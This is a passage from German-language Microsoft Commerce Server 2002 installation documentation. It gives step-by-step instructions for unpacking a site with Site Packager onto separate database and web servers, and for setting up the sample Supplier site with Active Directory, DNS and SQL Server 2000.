  5. Wählen Sie im Dialogfeld Entpacken die Option Benutzerdefiniertes Entpacken aus, und klicken Sie anschließend auf Weiter. Folgende Abbildung zeigt das Dialogfeld Entpacken.

  6. Wählen Sie im Dialogfeld Entpackmethode die Option Neue Site erstellen, und klicken Sie anschließend auf Weiter. Folgende Abbildung zeigt das Dialogfeld Entpacken.

  7. Im Dialogfeld Sitename wird der Standardname der Site angezeigt. Ändern Sie den Namen nach Bedarf, und klicken Sie dann auf Weiter.

    Hinweise

    • Verwenden Sie in Sitenamen keine Sonderzeichen (wie /, \, ?, &, <, >, :, *, |, #, @, %, and '), um Fehler beim Entpacken zu vermeiden. Den Datenbanknamen einer Site wird standardmäßig der Sitename vorangestellt, und Sonderzeichen werden in SQL Server nicht erkannt.
    • Der Sitename darf nicht mehr als 127 Zeichen umfassen.
    • Nennen Sie die Site nicht "Commerce". Dies ist ein für die OLAP-Datenbank reservierter Name. Wenn Sie Ihre Site "Commerce" nennen, kann dies beim nächsten Entpacken einer Site dazu führen, dass Ihre OLAP-Datenbank überschrieben wird.
    • Die folgenden Begriffe dürfen nicht als Sitename verwendet werden:

      "App Default Config", "BDSecurity", "Biz Data-Dienst", "Kampagnen," "Direct Mail", "Globales Data Warehouse", "Vorhersage", "Produktkatalog", "Site-CS-Authentifizierung", "Data Warehouse der Site", "Transaktionskonfiguration" oder "Transaktionen."

  8. Wählen Sie im Dialogfeld Ressourcen auswählen alle Ressourcen aus. Wenn Sie Commerce Server Direct Mailer nicht installieren möchten, wählen Sie Direktsendung, und klicken Sie auf Entfernen. Wenn Sie die Vorhersageressource nicht installieren möchten, wählen Sie Vorhersagedienst, und klicken Sie auf Entfernen. Folgende Abbildung zeigt das Dialogfeld Ressourcen auswählen.

    Dialogfeld "Alle Ressourcen auswählen"

    Hinweis

    • Die Ressourcen CS-Authentifizierung und Profile müssen gemeinsam installiert werden. Sie sind nur funktionsfähig, wenn beide installiert sind.
  9. Klicken Sie im Dialogfeld Globale Ressourcenzeiger auf Weiter.

    Dieser Bildschirm wird zur Zuordnung vorhandener globaler Ressourcen bzw. zum Erstellen neuer Ressourcen verwendet. Dieses Dialogfeld wird auch verwendet, wenn Sie globale Ressourcen bereits auf Ihrem Computer entpackt haben und nun globale Ressourcenzeiger in eine Site entpacken möchten, die die globalen Ressourcen verwenden wird.

    Im Dialogfeld Datenbank-Verbindungszeichenfolgen sind die Datenbanken aufgeführt, die Site Packager verwendet, sowie die Server, auf denen sich die Datenbanken befinden.

  10. Da Sie das Data Warehouse auf einen anderen Computer legen, müssen Sie die entsprechende Datenbank erstellen. Um eine Datenbank für das Data Warehouse auf Computer B mit dem Namen Blank_dw zu erstellen, klicken Sie auf Neue Datenbank.
  11. Führen Sie im Dialogfeld Neue Datenbank folgende Schritte aus:
    Funktion | Aktion
    SQL Server-Computer | Geben Sie den SQL Server-Computernamen (Computer B) ein.
    Datenbankname | Geben Sie Blank_dw für die Data Warehouse-Datenbank ein.
    SQL-Benutzername | Beim Erstellen einer neuen Datenbank muss ein Anmeldename verwendet werden, der zu einer der folgenden SQL Server-Rollen gehört: sysadmin oder dbcreator. Verwenden Sie keine Sonderzeichen (wie #, @, % und '), um OLAP-Fehler zu vermeiden.
    SQL-Kennwort | Geben Sie das Kennwort für die SQL Server-Anmeldung ein. Verwenden Sie keine Sonderzeichen (wie #, @, % und '), um OLAP-Fehler zu vermeiden.

    Folgende Abbildung zeigt das Dialogfeld Neue Datenbank.

    Dialogfeld "Neue Datenbank", Beispiel B1

  12. Klicken Sie auf Datenbank erstellen. Die Datenbank Blank_dw wird auf Computer B erstellt.
  13. Klicken Sie auf Neue Datenbank, wenn Sie zum Dialogfeld Datenbank-Verbindungszeichenfolgen zurückkehren.

    Legen Sie auch die anderen Commerce Server-Datenbanken auf Computer B.

  14. Um mithilfe einer separaten Datenbank mit dem Namen Blank_dw diese Datenbanken zu gruppieren, wiederholen Sie Schritt 11, und geben Sie im Feld Datenbankname die Zeichenfolge Blank_dw ein. Folgende Abbildung zeigt das Dialogfeld Neue Datenbank mit der Datenbank Blank_dw.

    Dialogfeld "Neue Datenbank", Beispiel B2

  15. Klicken Sie auf Datenbank erstellen. Die Datenbank Blank_dw wird auf Computer B erstellt.
  16. Wenn Sie zum Dialogfeld Datenbank-Verbindungszeichenfolgen zurückkehren, wählen Sie Data Warehouse, und klicken Sie anschließend auf Ändern.
  17. Geben Sie im Dialogfeld Datenverknüpfungseigenschaften im Feld Geben Sie einen Servernamen ein, oder wählen Sie einen aus den Namen für Computer B ein. Wählen Sie anschließend im Feld Wählen Sie die Datenbank auf dem Server aus den Namen, den Sie dem auf Computer B erstellten Data Warehouse zugewiesen haben (Blank_dw), und klicken Sie anschließend auf OK.

    Hinweis

    • Stellen Sie sicher, dass das Kontrollkästchen Speichern des Kennworts zulassen aktiviert ist. Wenn dies nicht der Fall ist, wird die Datenbank von Site Packager nicht erstellt.

    Folgende Abbildung zeigt das Dialogfeld Datenverknüpfungseigenschaften.

    Dialogfeld "Datenverknüpfungseigenschaften (blank_dw)"

  18. Wenn Sie zum Dialogfeld Datenbank-Verbindungszeichenfolgen zurückkehren, wählen Sie alle anderen Datenbanken (bis auf Data Warehouse) aus, und klicken Sie anschließend auf Ändern.
  19. Geben Sie im Dialogfeld Datenverknüpfungseigenschaften im Feld Geben Sie einen Servernamen ein, oder wählen Sie einen aus den Namen für Computer B ein. Wählen Sie anschließend im Feld Wählen Sie die Datenbank auf dem Server aus den Namen, den Sie der Datenbank zugewiesen haben (blank_commerce), und klicken Sie anschließend auf OK.

    Hinweis

    • Stellen Sie sicher, dass das Kontrollkästchen Speichern des Kennworts zulassen aktiviert ist. Wenn dies nicht der Fall ist, wird die Datenbank von Site Packager nicht erstellt.

    Folgende Abbildung zeigt das Dialogfeld Datenbank-Verbindungszeichenfolgen nach der Modifikation.

    Dialogfeld "Datenbank-Verbindungszeichenfolgen", Beispiel B

  20. Klicken Sie auf Weiter.
  21. Überprüfen Sie im Dialogfeld Anwendungen auswählen, ob die zu entpackenden Anwendungen ausgewählt sind, und klicken Sie dann auf Weiter. Folgende Abbildung zeigt das Dialogfeld Anwendungen auswählen.

  22. Überprüfen Sie im Dialogfeld Wählen Sie die IIS-Computer, -Websites und -Pfade aus, ob die Internetinformationsdienste (IIS) 5.0-Websites und die IIS-Pfade für jede Anwendung korrekt sind. Um die IIS-Website für eine Anwendung zu ändern, wählen Sie die Anwendung in der Liste und die IIS-Website in der Dropdownliste aus.

    Um den Namen eines virtuellen Verzeichnisses einer Anwendung zu ändern, wählen Sie eine Anwendung in der Liste. Geben Sie den gewünschten Namen in das Feld Virtuelles IIS-Verzeichnis ein.

    Hinweis

    • Verwenden Sie in den Namen der virtuellen IIS-Verzeichnisse keine Sonderzeichen (wie #, @, % und '), um IIS-Fehler zu vermeiden.
    • Das Entpacken von Sites auf Remotecomputern wird von Site Packager nicht unterstützt.
    • Site Packager entpackt jede Anwendung im Basisverzeichnis der jeweiligen IIS-Website. Im Basisverzeichnis erstellt Site Packager ein Unterverzeichnis mit dem Namen des virtuellen IIS-Verzeichnisses der Anwendung.

    Folgende Abbildung zeigt das Dialogfeld Wählen Sie die IIS-Computer, -Websites und -Pfade aus.

  23. Im Dialogfeld Data Warehouse können Sie folgende Schritte ausführen:
    Funktion | Aktion
    Name | Eingeben des Namens für die globale Data Warehouse-Ressource.
    Server | Eingeben des Namens des SQL Analysis Services (OLAP)-Computers.
    Datenbank | Eingeben des Namens der SQL Analysis (OLAP)-Datenbank.
  24. Klicken Sie auf Weiter.
  25. Falls das erste Dialogfeld Profilsystem angezeigt wird, können Sie die folgenden Schritte ausführen:
    Funktion | Aktion
    Profilschemadefinition | Angeben der Profilschemadefinition, die importiert werden soll.
    Sitebegriffsdefinition | Angeben der Sitebegriffsdefinition, die importiert werden soll.
    Ausdrucksdefinition | Angeben der Ausdrucksdefinition, die importiert werden soll.
  26. Klicken Sie auf Weiter.
  27. Falls das zweite Dialogfeld Profilsystem angezeigt wird, können Sie die folgenden Schritte ausführen:
    Funktion | Aktion
    Verbindungszeichenfolge für das Profilsystem | Angeben der Dateien, die in den OLEDB-Datenspeicher importiert werden sollen. Klicken Sie auf Ändern, um eine andere Datenbank anzugeben.
    Schemadefinitionsskripts (*.sql, *.vbs) | Angeben der Schemadefinitionsskripts, die importiert werden sollen.
    Datenauffüllungsskripts (*.sql) | Angeben der Datenauffüllungsskripts, die importiert werden sollen.
  28. Klicken Sie auf Weiter.
  29. Sehen Sie sich im Dialogfeld Das Entpacken ist abgeschlossen die Liste der erstellten SQL-Datenbanken und der IIS-Anwendungen an. Klicken Sie auf Protokolldatei anzeigen, um die Liste der Ereignisse in der Site Packager-Protokolldatei anzusehen.
  30. Klicken Sie auf Fertig stellen, um Site Packager zu schließen.

Schritt 5: Hinzufügen des Commerce Server-Webservers (Computer C) zu Ihrer Anwendung

  1. Erweitern Sie erst Commerce Server-Manager und Commerce Sites auf Computer C, welcher der Anwendung hinzugefügt werden soll. Erweitern Sie dann die Site, die Sie verwalten möchten.
  2. Erweitern Sie Anwendungen, und klicken Sie auf den Namen der Anwendung, der Sie einen Webserver hinzufügen möchten. Klicken Sie mit der rechten Maustaste auf den Anwendungsnamen, zeigen Sie auf Neu, und klicken Sie dann auf Webserver hinzufügen.

    Das Dialogfeld Öffnen wird angezeigt. Es enthält eine Liste der vorhandenen Paketdateien.

  3. Wählen Sie im Dialogfeld Öffnen die Paketdatei, welche die Webserverdateien enthält, die Sie dem Webserver hinzufügen möchten. Klicken Sie anschließend auf Öffnen.

    Commerce Server Site Packager wird gestartet.

  4. Im Dialogfeld Wählen Sie die IIS-Computer, -Websites und -Pfade aus wird die IIS-Website angezeigt, auf der die Anwendung sowie das virtuelle IIS-Verzeichnis für jede E-Commerce-Anwendung installiert wird. Diese Informationen sind schreibgeschützt. IIS-Website und virtuelles IIS-Verzeichnis müssen für alle Webserver der Anwendung identisch sein. Klicken Sie auf Weiter.

    Site Packager fügt Ihre Dateien zum Webserver hinzu und fügt anschließend das Commerce Webserver-Objekt der gewählten Anwendung hinzu. Beim Öffnen von Commerce Server-Manager wird das Commerce Webserver-Objekt unter der Anwendung angezeigt.

    Hinweis

    • Site Packager unterstützt nicht das Entpacken von Webservern auf Remotecomputern.
  5. Sehen Sie sich im Dialogfeld Das Entpacken ist abgeschlossen die Protokolldatei an, und klicken Sie auf Fertig stellen.

Nachdem Sie einen Webserver zu einer Anwendung hinzugefügt haben, wird das Commerce Webserver-Objekt unter dem Anwendungsknoten im Commerce Server-Manager angezeigt. Das Commerce Webserver-Objekt enthält Eigenschaften, die von Data Warehouse zum Importieren von Protokolldateien benötigt werden: Servernamen, IP-Adresse (Internet Protocol), Protokolldateipfad und Protokolldateiperiode. Diese Eigenschaften werden von IIS automatisch ausgefüllt, wenn Sie ein Commerce Webserver-Objekt zu einer Anwendung hinzufügen. Anweisungen zum Konfigurieren von Webservereigenschaften finden Sie unter Konfigurieren eines Webservers.

Hinweise

  • Unmittelbar nach dem Installieren der Site sowie jedes Mal, wenn Sie grundlegende Änderungen an der Konfiguration der Commerce Server-Bereitstellung vornehmen, sollten Sie die Verwaltungsdatenbank unter einem anderen Namen sichern. Sie können diese Sicherungskopie verwenden, um alle später vorgenommenen Änderungen rückgängig zu machen.
  • Führen Sie nie mehr als eine Instanz von Site Packager gleichzeitig auf einem Computer aus.

Siehe auch

Konfigurieren eines Webservers


Installieren der Beispiel-Supplier-Site

In diesem Kapitel finden Sie Erläuterungen zur Konfiguration von zwei Computern für eine Supplier-Lösungssite, die sowohl Active Directory als auch SQL Server 2000 verwendet. Mit den nachfolgenden Schritten können Sie eine Supplier-Site für Bewertungs- und Testzwecke erstellen. Zum Einrichten einer Supplier-Site können Sie abhängig von den Erfordernissen in Ihrem Unternehmen mit Windows 2000, DNS-Servern und lokalen Intranets arbeiten.

Nachstehend finden Sie einen Überblick über die Schritte, die zum Einrichten der Beispielkonfiguration ausgeführt werden müssen. Jeder dieser Schritte wird im vorliegenden Abschnitt näher erläutert.

  1. Schritt 1: Konfigurieren von Active Directory und DNS auf Computer 1 und anschließendes Heraufstufen zu einem Active Directory-Domänencontroller.
  2. Schritt 2: Konfigurieren von Computer 2.
  3. Schritt 3: Aktivieren der Vertrauensstellung für Delegierungszwecke auf Computer 1.
  4. Schritt 4: Konfigurieren von Benutzerrechten für die lokale Anmeldung bei Computer 1.
  5. Schritt 5: Installieren der Serversoftware auf Computer 2.
  6. Schritt 6: Entpacken der Supplier-Lösungssite auf Computer 2.
  7. Schritt 7: Prüfen der Softwarekonfiguration auf beiden Computern.
  8. Schritt 8: Aktivieren von AuthFilter für die Supplier-Lösungssite.
  9. Schritt 9: Installieren des Business Desk-Clients.
  10. Schritt 10: Prüfen der Konfiguration von Business Desk und der Supplier-Site.
  11. Schritt 11: Bearbeiten von ASP-Dateien.

Diese Schritte setzen Folgendes voraus:

  • Sie verfügen über Erfahrungen im Hinblick auf die Installation von Windows 2000 Advanced Server, Windows 2000 Server, Commerce Server 2002 und SQL Server 2000.
  • Sie erstellen erstmals eine neue Domäne (Active Directory).
  • Sie erstellen einen neuen DNS-Server.
  • Sie verwenden auf Ihrem SQL Server die kombinierte Authentifizierung und auf Ihrem Webserver die Basisauthentifizierung. Wenn Sie diese Konfiguration in einem Internetszenario verwenden möchten, müssen Sie für Ihren Webserver außerdem Hypertext Transfer Protocol Secure (HTTPS) aktivieren.


Schritt 1: Konfigurieren von ActiveDirectory und DNS auf Computer 1

Feedback zu dieser Seite senden Commerce Server 2002

Schritt 1: Konfigurieren von Active Directory und DNS auf Computer 1

Sie müssen den ersten Computer für Active Directory und DNS konfigurieren und ihn anschließend zu einem Active Directory-Domänencontroller heraufstufen. Active Directory speichert vertrauliche Benutzerprofildaten wie den Benutzernamen und das Kennwort. Die verbleibenden nicht vertraulichen Profildaten werden in der SQL-Datenbank gespeichert.

So konfigurieren Sie Computer 1

  1. Installieren Sie Windows 2000 Advanced Server mit der Standardinstallation.
    • Der Computername darf nur alphanumerische Zeichen enthalten.
    • Formatieren Sie die Partition, auf der Sie Windows 2000 installieren möchten, mit dem Windows NTFS-Dateisystem.
    • Vergewissern Sie sich, dass im Fenster Windows 2000-Komponenten die Option Internetinformationsdienste (IIS) deaktiviert ist.
  2. Installieren Sie Windows 2000 Service Pack 2 (SP2) und die erforderlichen Hotfixes. Entsprechende Hinweise finden Sie unter http://go.microsoft.com/fwlink/?LinkId=6125.
  3. Öffnen Sie die Systemsteuerung, und konfigurieren Sie mithilfe der Option Netzwerk- und DFÜ-Verbindungen die statische IP-Adresse (Internet Protocol), die Subnetzmaske und den Standardgateway. Geben unter Bevorzugter DNS-Server die statische IP-Adresse des Domänencontrollers an. Detaillierte Hinweise finden Sie unter "Konfigurieren von TCP/IP für den Einsatz von DNS" und "Konfigurieren von TCP/IP für den Einsatz von WINS" in der Windows 2000 Server-Hilfe.

    Weitere Informationen zu Netzwerken finden Sie im Microsoft Windows 2000 Server Resource Kit.

Um Computer 1 zu einem Active Directory-Domänencontroller heraufzustufen, müssen Sie ihn mithilfe des Assistenten zum Installieren von Active Directory als Domänencontroller festlegen.

So stufen Sie Computer 1 zu einem Domänencontroller herauf

  1. Klicken Sie auf Start und anschließend auf Ausführen.
  2. Geben Sie im Dialogfeld Ausführen im Feld Öffnen erst dcpromo ein, und klicken Sie dann auf OK.
  3. Klicken Sie im Feld Assistent zum Installieren von Active Directory auf Weiter.
  4. Wählen Sie im Dialogfeld Typ des Domänencontrollers die Option Domänencontroller für eine neue Domäne, und klicken Sie anschließend auf Weiter.
  5. Wählen Sie im Dialogfeld Struktur oder untergeordnete Domäne erstellen die Option Eine neue Domänenstruktur erstellen, und klicken Sie dann auf Weiter.
  6. Wählen Sie im Dialogfeld Gesamtstruktur erstellen oder einer Gesamtstruktur beitreten die Option Neue Gesamtstruktur aus Domänenstrukturen erstellen, und klicken Sie dann auf Weiter.
  7. Geben Sie im Feld Gesamter DNS-Name für neue Domäne des Dialogfelds Name der neuen Domäne den vollständigen Namen der neuen Domäne ein (Beispiel: wideworldimporters.com).
  8. Geben Sie im Dialogfeld NetBIOS-Domänenname im Feld NetBIOS-Domänenname den Namen ein, den Benutzer früherer Versionen von Windows zur Identifizierung der Domäne verwenden sollen (Beispiel: wideworldimporters). Es empfiehlt sich, die Standardversion zu verwenden, welche eine abgekürzte Version des gesamten DNS-Namens darstellt. Klicken Sie auf Weiter.
  9. Wählen Sie im Dialogfeld Datenbank und Protokolldatei den Speicherort für die Protokolldateien aus.
  10. Übernehmen Sie im Dialogfeld Freigegebenes SYSVOL die Standardeinstellungen, oder nehmen Sie ggf. die gewünschten Änderungen vor.
  11. Wenn DNS auf Ihrem Computer noch nicht installiert ist, werden Sie zur Installation aufgefordert. Wählen Sie Ja, DNS automatisch auf diesem Computer installieren und konfigurieren, und klicken Sie dann auf Weiter.
  12. Wählen Sie im Dialogfeld Berechtigungen die Option Nur mit Windows 2000-Servern kompatible Berechtigungen, und klicken Sie dann auf Weiter.
  13. Führen Sie im Dialogfeld Administratorkennwort für "Verzeichnisdienste wiederherstellen" die folgenden Schritte aus:
    Funktion | Aktion
    Kennwort | Geben Sie das Kennwort ein, das Sie dem Administratorkonto für den Server zuordnen möchten.
    Kennwort bestätigen | Geben Sie das Kennwort erneut ein, um dieses zu bestätigen.
  14. Klicken Sie auf Weiter.
  15. Überprüfen Sie im Dialogfeld Zusammenfassung die ausgewählten Optionen, um die Richtigkeit der Active Directory-Konfiguration zu gewährleisten. Wenn sie richtig ist, klicken Sie auf Weiter, um die Installation zu starten. Wenn Sie Ihre Auswahl nochmals konfigurieren müssen, klicken Sie auf Zurück.
  16. Während des Installationsvorgangs werden Sie unter Umständen aufgefordert, die Windows 2000-CD in das CD-ROM-Laufwerk einzulegen.
  17. Klicken Sie im Dialogfeld Fertigstellen des Assistenten auf Fertig stellen.
  18. Starten Sie den Server neu.

Sie haben Active Directory und DNS erfolgreich auf Computer 1 konfiguriert. Fahren Sie nun mit Schritt 2: Konfigurieren von Computer 2 fort.


Schritt 2: Konfigurieren von Computer 2

Der zweite Computer hostet Ihre Commerce Server-Datenbanken, wie beispielsweise die Verwaltungsdatenbank, die Direct Mailer-Datenbank und die Commerce Server Data Warehouse-Datenbank. Zusätzlich werden darauf nicht vertrauliche Benutzerprofildaten wie die zuletzt aufgerufene Seite und die persönlichen Voreinstellungen gespeichert. Auf diesem Computer installieren Sie zunächst SQL Server 2000 und anschließend Commerce Server. Die Datenbanken werden während der Installation vom Setup-Programm für Commerce Server erstellt.

So konfigurieren Sie Computer 2

  1. Installieren Sie Windows 2000 Advanced Server mit der Standardinstallation.
    • Der Computername darf nur alphanumerische Zeichen enthalten.
    • Formatieren Sie die Partition, auf der Sie Commerce Server installieren möchten, mit dem Windows NTFS-Dateisystem.
  2. Installieren Sie Windows 2000 Service Pack 2 (SP2) und die erforderlichen Hotfixes. Entsprechende Hinweise finden Sie unter http://go.microsoft.com/fwlink/?LinkId=6125.
  3. Öffnen Sie die Systemsteuerung, konfigurieren Sie mithilfe von Netzwerk- und DFÜ-Verbindungen die statische IP-Adresse, die Subnetzmaske und den Standardgateway auf demselben Subnet wie Computer 1. Einzelheiten finden Sie unter "Konfigurieren von TCP/IP für die statische Adressierung" in der Windows 2000 Server-Hilfe.
  4. Verwenden Sie Netzwerk- und DFÜ-Verbindungen, um die Liste der bevorzugten DNS-Server so zu konfigurieren, dass für DNS-Suchtabellen auf die IP-Adresse des Active Directory-Servers (Computer 1, der wiederum den DNS-Server hostet) zugegriffen wird. Konfigurieren Sie die Liste der WINS-Server so, dass sie auf den Active Directory-Server verweist. Detaillierte Hinweise finden Sie unter "Konfigurieren von TCP/IP für den Einsatz von DNS" und "Konfigurieren von TCP/IP für den Einsatz von WINS" in der Windows 2000 Server-Hilfe.

    Weitere Informationen zu Netzwerken finden Sie im Microsoft Windows 2000 Server Resource Kit.

  5. Um der zuvor auf Computer 1 erstellten Domäne beizutreten, gehen Sie folgendermaßen vor:
    • Klicken Sie mit der rechten Maustaste auf Mein Computer, und klicken Sie dann auf Eigenschaften. Klicken Sie auf der Registerkarte Netzwerkidentifikation im Dialogfeld Systemeigenschaften auf Eigenschaften.
    • Wählen Sie im Dialogfeld Änderungen der Benutzerinformationen im Bereich Mitglied von die Option Domäne, geben Sie den Namen der zuvor erstellten Domäne ein, und klicken Sie danach auf OK.
    • Starten Sie den Computer neu.
  6. Installieren Sie Internet Explorer 6.0 wie unter http://go.microsoft.com/fwlink/?LinkId=6729 erläutert.

Sie haben nun die Software für den zweiten Computer erfolgreich installiert und konfiguriert. Fahren Sie nun mit Schritt 3: Aktivieren der Vertrauensstellung für Delegierungszwecke auf Computer 1.


Schritt 3: Aktivieren der Vertrauensstellung für Delegierungszwecke auf Computer 1

Aktivieren Sie auf Computer 1 die Vertrauensstellung für Delegierungszwecke für Computer 2, damit Commerce Server-Administratoren die Anmeldeinformationen von Benutzern auf dem Active Directory-Domänencontroller (Computer 1) speichern können.

So aktivieren Sie die Vertrauensstellung für Delegierungszwecke

  1. Klicken Sie auf Start, zeigen Sie auf Programme und auf Verwaltung, und klicken Sie dann auf Active Directory-Benutzer und -Computer.
  2. Klicken Sie im linken Fensterbereich mit der rechten Maustaste auf Domänenname, und klicken Sie dann auf Computer.
  3. Klicken Sie im rechten Fenster auf den Computernamen für Computer 2, und wählen Sie anschließend Eigenschaften.
  4. Aktivieren Sie im Dialogfeld Eigenschaften von Computername auf der Registerkarte Allgemein das Kontrollkästchen Computer für Delegierungszwecke vertrauen. Die Active Directory-Warnmeldung wird angezeigt.
  5. Lesen Sie die Warnmeldung, und klicken Sie anschließend auf OK.
  6. Klicken Sie im Dialogfeld Eigenschaften von Computername auf OK.
  7. Computer 2 wird nun vom Active Directory-Domänencontroller (Computer 1) als vertrauenswürdig betrachtet. Fahren Sie nun mit Schritt 4: Konfigurieren von Benutzerrechten für die lokale Anmeldung bei Computer 1 fort..


Schritt 4: Konfigurieren von Benutzerrechten für die lokale Anmeldung bei Computer 1

Um allen Domänenbenutzern den Zugriff auf die Supplier-Lösungssite zu ermöglichen, müssen Sie Benutzerberechtigungen für die lokale Anmeldung konfigurieren.

So konfigurieren Sie Benutzerberechtigungen für die lokale Anmeldung

  1. Klicken Sie auf Start, zeigen Sie auf Programme und dann auf Verwaltung, und klicken Sie anschließend auf Sicherheitsrichtlinie für Domänen.
  2. Erweitern Sie unter Sicherheitsrichtlinie für Domänen die Einträge Sicherheitseinstellungen und Lokale Richtlinien, und klicken Sie anschließend auf Zuweisen von Benutzerrechten.
  3. Doppelklicken Sie im rechten Bereich auf Lokale Anmeldung.
  4. Aktivieren Sie unter Sicherheitsrichtlinie das Kontrollkästchen Diese Richtlinieneinstellung definieren, und klicken Sie anschließend auf Hinzufügen.
  5. Klicken Sie unter Benutzer oder Gruppe hinzufügen auf Durchsuchen.
  6. Wählen Sie unter Benutzer oder Gruppen auswählen aus der Dropdownliste Suchen in die Domäne aus.
  7. Wählen Sie unter Name die Option Domänen-Benutzer, klicken Sie auf Hinzufügen und anschließend auf OK.
  8. Klicken Sie unter Benutzer oder Gruppe hinzufügen auf OK.
  9. Klicken Sie unter Sicherheitsrichtlinie auf OK.

Sie haben nun für das Konto Domänen-Benutzer die Benutzerrechte für die lokale Anmeldung konfiguriert. Fahren Sie nun mit Schritt 5: Installieren der Serversoftware auf Computer 2 fort..


Schritt 5: Installieren der Serversoftware auf Computer 2

  1. Installieren Sie SQL Server 2000 wie unter http://go.microsoft.com/fwlink/?LinkId=6125/A> erläutert.
  2. Installieren Sie SQL Server 2000 Service Pack 2 (SP2) wie unter http://go.microsoft.com/fwlink/?LinkId=6730 erläutert.
  3. Installieren Sie Commerce Server wie unter http://go.microsoft.com/fwlink/?LinkId=6125 erläutert.

    Beachten Sie Folgendes:

    • Wählen Sie im Fenster Setup-Typ die Option Vollständig.
    • Wählen Sie im Bildschirm Konfiguration der Verwaltungsdatenbank den aktuellen Computer als SQL Server-Computer, und wählen Sie den entsprechenden Authentifizierungsmodus (Integrierte Windows-Sicherheit oder SQL-Authentifizierung) aus.
    • Legen Sie im Bildschirm Konfiguration der Direct Mailer-Datenbank den aktuellen Computer als Computer für SQL Server fest.
    • Aktivieren Sie im Bildschirm Dienstkonten das Kontrollkästchen Dasselbe Konto für alle Dienste verwenden und alle automatisch starten. Geben Sie einen Benutzernamen, ein Kennwort und eine Domäne für das Konto ein, unter dem die Commerce Server-Dienste ausgeführt werden.
  4. Starten Sie den Server nach der Installation neu.

Wenn der Server neu startet, haben Sie die Serversoftware auf Computer 2 ordnungsgemäß installiert. Fahren Sie nun mit Schritt 6: Entpacken der Supplier-Lösungssite auf Computer 2 fort.


Schritt 6: Entpacken der Supplier-Lösungssite auf Computer 2

Um die Business Desk-Anwendung für die Supplier-Lösungssite auszuführen, müssen Sie die Site auf Computer 2 entpacken.

So entpacken Sie die Supplier-Lösungssite auf Computer 2

  1. Downloaden Sie die Lösungssitepakete, indem Sie die Datei Microsoft Commerce Server 2002 Solution Sites.msi unter http://go.microsoft.com/fwlink/?LinkId=6491 ausführen.
  2. Klicken Sie auf Start, zeigen Sie auf Programme und dann auf Verwaltung. Klicken Sie anschließend auf Microsoft Commerce Server 2002 und danach auf Commerce Server-Manager.
  3. Erweitern Sie erst Commerce Server-Manager, und klicken Sie anschließend auf Commerce-Sites.
  4. Klicken Sie mit der rechten Maustaste auf Commerce-Sites, zeigen Sie auf Neu, und klicken Sie dann auf Site entpacken.
  5. Geben Sie im Dialogfeld Site entpacken von den Pfad ein, oder wechseln Sie zu der in Schritt 1 heruntergeladenen Datei supplieractivedirectory.pup, und klicken Sie danach auf Öffnen.

    Commerce Server Site Packager wird gestartet.

  6. Wählen Sie im Dialogfeld Entpacken die Option Schnelles Entpacken aus, und klicken Sie anschließend auf Weiter.
  7. Führen Sie im Dialogfeld Schnelles Entpacken die folgenden Schritte aus:
    Funktion | Aktion
    Sitename Geben Sie den Sitenamen ein, falls er geändert werden soll.

    Hinweise

    • Verwenden Sie im Namen keine Sonderzeichen, die möglicherweise von SQL Server-Datenbanken nicht erkannt werden können (wie z. B. #, @, % und '). Weitere Informationen finden Sie in der SQL Server-Onlinedokumentation.
    • Der Sitename kann aus maximal 127 Zeichen bestehen.
    • Nennen Sie die Site nicht "Commerce". Dies ist ein für die OLAP-Datenbank reservierter Name. Wenn Sie Ihre Site "Commerce" nennen, kann dies beim nächsten Entpacken einer Site zum Verlust Ihrer OLAP-Datenbank führen.
    • Die folgenden Begriffe dürfen nicht als Sitename verwendet werden:

      "App Default Config", "BDSecurity", "Biz Data-Dienst", "Kampagnen," "Direct Mail", "Globales Data Warehouse", "Vorhersage", "Produktkatalog", "Site-CS-Authentifizierung", "Data Warehouse der Site", "Transaktionskonfiguration" oder "Transaktionen."

    IIS-Website Wählen Sie den Namen der IIS-Website aus, auf der die Anwendung(en) installiert werden soll(en).

    Hinweis

    • Wenn Sie eine Site in der Verwaltungswebsite von IIS entpacken, sind die Site und Business Desk aufgrund der Sicherheitsbeschränkungen für die IIS-Verwaltung nicht funktionsfähig.
    SQL Server-Computer | Geben Sie den Namen des SQL Server-Computers ein, auf dem sich die Sitedatenbanken befinden.
    Integrierte Sicherheit von Windows verwenden Wählen Sie diese Option, wenn Sie die integrierte Windows-Authentifizierung verwenden möchten.

    Hinweis

    • Wenn Sie die integrierte Sicherheit von Windows verwenden, werden Benutzernamen und Kennwörter nicht in SQL Server-Verbindungszeichenfolgen gespeichert. Das Rücksetzen des SQL-Kennworts hat keine Auswirkung auf die Benutzernamen und Kennwörter. Weitere Informationen zur Sicherheit in Commerce Server finden Sie unter Sichern der Site.
    Spezifischen Benutzernamen und spezifisches Kennwort verwenden | Wählen Sie diese Option, wenn Sie für Verbindungen mit der Datenbank die SQL Server-Authentifizierung verwenden möchten.
    SQL Server-Anmeldename Geben Sie den SQL Server-Anmeldenamen für die Datenbanken ein.

    Hinweis

    • Verwenden Sie aus Sicherheitsgründen nicht die Systemadministratoranmeldung für den Zugriff auf die Verwaltungsdatenbank. Um die Anmeldeinformationen für die Verwaltungsdatenbank nach deren Erstellung zu ändern, verwenden Sie SQL Server Enterprise Manager.
    SQL Server-Anmeldekennwort | Geben Sie das SQL Server-Kennwort für die Datenbanken ein.
  8. Klicken Sie auf Weiter.
  9. Wenn beim Installationsprozess die Ressource Data Warehouse installiert wurde, wird das Dialogfeld Data Warehouse angezeigt. Führen Sie zum Festlegen der Einstellungen für die Ressource Data Warehouse folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie einen Namen für die globale Data Warehouse-Ressource ein.
    Server | Geben Sie den Namen des SQL Analysis Services (OLAP)-Computers ein.
    Datenbank | Geben Sie den Namen der zu verwendenden OLAP-Datenbank ein.
  10. Klicken Sie auf OK.
  11. Wenn beim Installationsprozess die Ressource Profile installiert wurde, wird das erste von zwei Dialogfeldern mit der Bezeichnung Profilsystem angezeigt. Führen Sie zum Festlegen der Einstellungen für die Ressource Profile folgende Schritte aus:
    Funktion | Aktion
    Profilschemadefinition | Angeben der Profilschemadefinition, die importiert werden soll.
    Sitebegriffsdefinition | Angeben der Sitebegriffsdefinition, die importiert werden soll.
    Ausdrucksdefinition | Angeben der Ausdrucksdefinition, die importiert werden soll.
  12. Klicken Sie auf Weiter.
  13. Wenn beim Installationsprozess die Ressource Profile installiert wurde, wird nun das zweite der beiden Dialogfelder mit der Bezeichnung Profilsystem angezeigt. Führen Sie zum Festlegen der Einstellungen für die Ressource Profile folgende Schritte aus:
    Funktion | Aktion
